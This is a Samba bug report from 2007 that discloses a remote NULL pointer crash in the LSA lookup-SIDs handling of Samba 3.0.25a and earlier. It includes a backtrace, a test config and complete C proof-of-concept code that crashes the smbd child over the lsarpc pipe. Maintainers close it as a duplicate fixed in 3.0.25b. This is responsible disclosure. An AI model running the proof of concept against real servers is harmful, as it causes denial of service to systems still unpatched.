Bug 4668 - SAMBA <= 3.0.25a REMOTE NULL POINTER REFERENCE
Summary: SAMBA <= 3.0.25a REMOTE NULL POINTER REFERENCE
Status: RESOLVED DUPLICATE of bug 4683
Alias: None
Product: Samba 3.0
Classification: Unclassified
Component: File Services (show other bugs)
Version: 3.0.25a
Hardware: All All
: P3 normal
Target Milestone: none
Assignee: Gerald (Jerry) Carter (dead mail address)
QA Contact: Samba QA Contact
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2007-05-29 15:39 UTC by Chariton Karamitas
Modified: 2007-06-09 21:41 UTC (History)
0 users

See Also:


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Chariton Karamitas 2007-05-29 15:39:10 UTC
Description
-----------
The samba 3.x tree, versions below and equal to 3.0.25a, suffer from a NULL pointer reference in the lsa_io_trans_names() code. The fault is the result of a logical error where certain functions assume that the arguments passed to them are not NULL.

After a client has successfully initiated a TCP/IP connection to the samba server, he can afterwards connect to the IPC$ service and request a named pipe. In our example we request \PIPE\lsarpc. The function api_pipe_request(), whose code lies somewhere in rpc_server/srv_pipe.c, is responsible for calling the correct RPC function for a given command on the pipe. 

When the client issues an LSA_LOOKUPSIDS command given a NULL translated names pointer to the server, he is able to crash the corresponding samba child. I do not consider this bug critical as it's just a NULL pointer reference. Next, I have created a backtrace which demonstrates how the fault is triggered. The actual backtrace reported by samba's fault mechanism is also given.

api_pipe_request()
  \_ api_lsa_lookup_sids()
       \_ lsa_io_q_lookup_sids()
       |    \_ lsa_io_trans_names()
       |              The if() block checking the ptr_trans_names pointer fails 
       |              as we supply a NULL value. Certain pointers remain zeroed 
       |              and unallocated. Later functions assume that they are not
       |              NULL. 
       |
       \_ lsa_io_r_lookup_sids()
            \_ lsa_io_trans_names()
                      The r_s->names pointer passed from lsa_io_r_lookup_sids()
                      to lsa_io_trans_names() is NULL. The call to prs_uint32()
                      in lsa_io_trans_names() will segfault the smbd child.

Here is the backtrace reported by smbd in the log file.

<-- snip -->
[2007/05/28 22:35:53, 0] lib/fault.c:fault_report(41)
  ===============================================================
[2007/05/28 22:35:53, 0] lib/fault.c:fault_report(42)
  INTERNAL ERROR: Signal 11 in pid 25013 (3.0.25a)
  Please read the Trouble-Shooting section of the Samba3-HOWTO
[2007/05/28 22:35:53, 0] lib/fault.c:fault_report(44)
  
  From: http://www.samba.org/samba/docs/Samba3-HOWTO.pdf
[2007/05/28 22:35:53, 0] lib/fault.c:fault_report(45)
  ===============================================================
[2007/05/28 22:35:53, 0] lib/util.c:smb_panic(1632)
  PANIC (pid 25013): internal error
[2007/05/28 22:35:53, 0] lib/util.c:log_stack_trace(1736)
  BACKTRACE: 19 stack frames:
   #0 smbd(log_stack_trace+0x2d) [0x801fb535]
   #1 smbd(smb_panic+0x74) [0x801fb65d]
   #2 smbd [0x801e7b79]
   #3 [0xb7fc0420]
   #4 smbd [0x8016cc2f]
   #5 smbd(lsa_io_r_lookup_sids+0xa8) [0x8016de12]
   #6 smbd [0x801036ed]
   #7 smbd(api_rpcTNP+0x292) [0x80163acb]
   #8 smbd(api_pipe_request+0x1f6) [0x80163fcd]
   #9 smbd [0x8015da76]
   #10 smbd(write_to_pipe+0x12d) [0x8015c0f0]
   #11 smbd [0x8005f62b]
   #12 smbd [0x8005fd2c]
   #13 smbd(reply_trans+0x6d6) [0x80060931]
   #14 smbd [0x800b5bc7]
   #15 smbd(smbd_process+0x8c1) [0x800b6e5f]
   #16 smbd(main+0xb97) [0x802aa7e4]
   #17 /lib/libc.so.6(__libc_start_main+0xd8) [0xb7e4c7c8]
   #18 smbd [0x80044331]
[2007/05/28 22:35:53, 0] lib/fault.c:dump_core(181)
  dumping core in /usr/var/cores/smbd
<-- snip -->

The configuration file I used in order to trigger the fault is the least minimal 
samba configuration.

<-- snip -->
[global]
workgroup = WORKGROUP
netbios name = MYNAME
log file = /var/log/messages

[share1]
path = /home/ckaramitas
comment = Test share
<-- snip -->


Proof of concept code
---------------------
<-- snip -->
// SAMBA <= 3.0.25a REMOTE NULL POINTER REFERENCE - PROOF OF CONCEPT
// Chariton Karamitas <ckaramitas [at] echothrust [dot] com>
//
// In order to trigger the bug I used the functions of the samba API. To compile the 
// code use the following script.
//
// <-- snip -->
// #!/bin/bash
//
// # Path where the samba source is located e.g 
// # SOURCE=/home/ckaramitas/samba-3.0.25a/source
// SOURCE=
//
// if [ -z "${SOURCE}" ]; then
//  echo Please give a proper value to SOURCE.
//  exit
// fi
//
// gcc -D_SAMBA_BUILD_ -I ${SOURCE}/popt -I ${SOURCE}/iniparser/src -I ${SOURCE}/lib/replace \
//  -I ${SOURCE}/lib/talloc -I ${SOURCE}/tdb/include -I ${SOURCE}/libaddns -I ${SOURCE}/librpc \
//  -I ${SOURCE}/include -I ${SOURCE} \
//  -lsmbclient samba_3.0.25a_null.c -o samba_3.0.25a_null
// <-- snip -->
//
#include <config.h>
#include <includes.h>

// Lookup the IP address of a host. Return zero on failure.
unsigned long int lookup_addr(unsigned char *host) {
  struct hostent *hip;

  if(!(hip = gethostbyname(host))) {
    herror("lookup_addr(): gethostbyname()");
    return 0;
  }

  return *(unsigned long int *)hip->h_addr;
}


// Get a connection to the IPC$ share of a box.
struct cli_state *ipc_connect(unsigned char *server, unsigned char *user, unsigned char *pass) {
  struct in_addr ip_addr;
  struct user_auth_info cred;
  struct cli_state *state;
  unsigned long int ip;

  // Sanity check.
  if(!server)
    return NULL;

  // Lookup the IP address.	
  if(!(ip = lookup_addr(server)))
    return NULL;

  ip_addr.s_addr = ip;

  // Fill in the credentials.
  bzero(&cred, sizeof(struct user_auth_info));
  cred.got_pass = False;
  cred.use_kerberos = False;
  cred.signing_state = Undefined;

  if(user)
    strncpy(cred.username, user, sizeof(cred.username) - 1);

  if(pass) {
    strncpy(cred.password, pass, sizeof(cred.password) - 1);
    cred.got_pass = True;
  }

  if(!(state = get_ipc_connect(server, &ip_addr, &cred)))
    return NULL;

  return state;
}


void print_usage(unsigned char *prog) {
  fprintf(stdout, "Usage: %s <host> [<user> [<pass>]]\n\n", prog);
  return;
}


int main(int argc, unsigned char *argv[]) {
  struct cli_state *state = NULL;
  struct rpc_pipe_client *hnd = NULL;
  POLICY_HND lsa_pol;
  DOM_SID sid;
  NTSTATUS error;

  unsigned char *user = NULL;
  unsigned char *pass = NULL;

  // Stuff returned and allocated by rpccli_lsa_lookup_sids().
  char **domains = NULL;
  char **names = NULL;
  uint32 *types = NULL;


  if(argc < 2) {
    print_usage(argv[0]);
    return -1;
  }

  user = argc > 2 ? argv[2] : NULL;
  pass = argc > 3 ? argv[3] : NULL;


  load_case_tables();

  setlinebuf(stdout);
  setup_logging(argv[0], True);

  lp_load(dyn_CONFIGFILE, True, False, False, True);
  load_interfaces();


  fprintf(stdout, "USER=%s PASS=%s DOMAIN=%s\n", user ? user : "<none>", pass ? pass : "<none>", lp_workgroup());

  fprintf(stdout, "[~] Connecting to IPC$\n");
  if(!(state = ipc_connect(argv[1], argv[2], argv[3])))
     return -1;

  fprintf(stdout, "OS=[%s] TYPE=[%s] DOMAIN=[%s]\n", state->server_os, state->server_type , state->server_domain); 

  if(state->is_samba != True) {
    fprintf(stdout, "[~] Error\n");
    cli_shutdown(state);
    return -1;
  }

  fprintf(stdout, "[~] Binding to \\PIPE\\lsarpc\n");
  hnd = cli_rpc_pipe_open_noauth(state, PI_LSARPC, &error);

  if(!hnd || cli_is_error(state)) {
    fprintf(stdout, "%s\n", cli_errstr(state));
    return -1;
  }


  fprintf(stdout, "[~] Opening LSA policy handler\n");
  error = rpccli_lsa_open_policy(hnd, state->mem_ctx, True, SEC_RIGHTS_QUERY_VALUE, &lsa_pol);

  if(!NT_STATUS_IS_OK(error) || cli_is_error(state)) {
    fprintf(stdout, "%s\n", cli_errstr(state));
    cli_shutdown(state);
    return -1;
  }

  
  fprintf(stdout, "[~] Sending LSA_LOOKUPSIDS\n");

  // Just a test SID.
  if(!(string_to_sid(&sid, "S-1-5-21-484763869-1035525444-1801674531-500"))) {
    fprintf(stdout, "[~] Error\n");
    cli_rpc_pipe_close(hnd);
    cli_shutdown(state);
    return -1;
  }

  // The call to rpccli_lsa_lookup_sids() produces an LSA_LOOKUPSIDS query with a NULL value
  // into the translated names pointer field of the SMB packet.
  rpccli_lsa_lookup_sids(hnd, state->mem_ctx, &lsa_pol, 1, &sid, &domains, &names, &types);
  cli_rpc_pipe_close(hnd);
  cli_shutdown(state);

  fprintf(stdout, "[~] Done\n");
  return 0;
}
<-- snip -->
Comment 1 Gerald (Jerry) Carter (dead mail address) 2007-05-29 15:45:04 UTC
ok. Thanks for the report.  I'll have a look at your code and 
the state of the current SVN tree.
Comment 2 Jeremy Allison 2007-06-09 21:41:41 UTC
This is a dup of #4683 which I've just fixed in all trees. Will be fixed for 3.0.25b.
Jeremy.


*** This bug has been marked as a duplicate of 4683 ***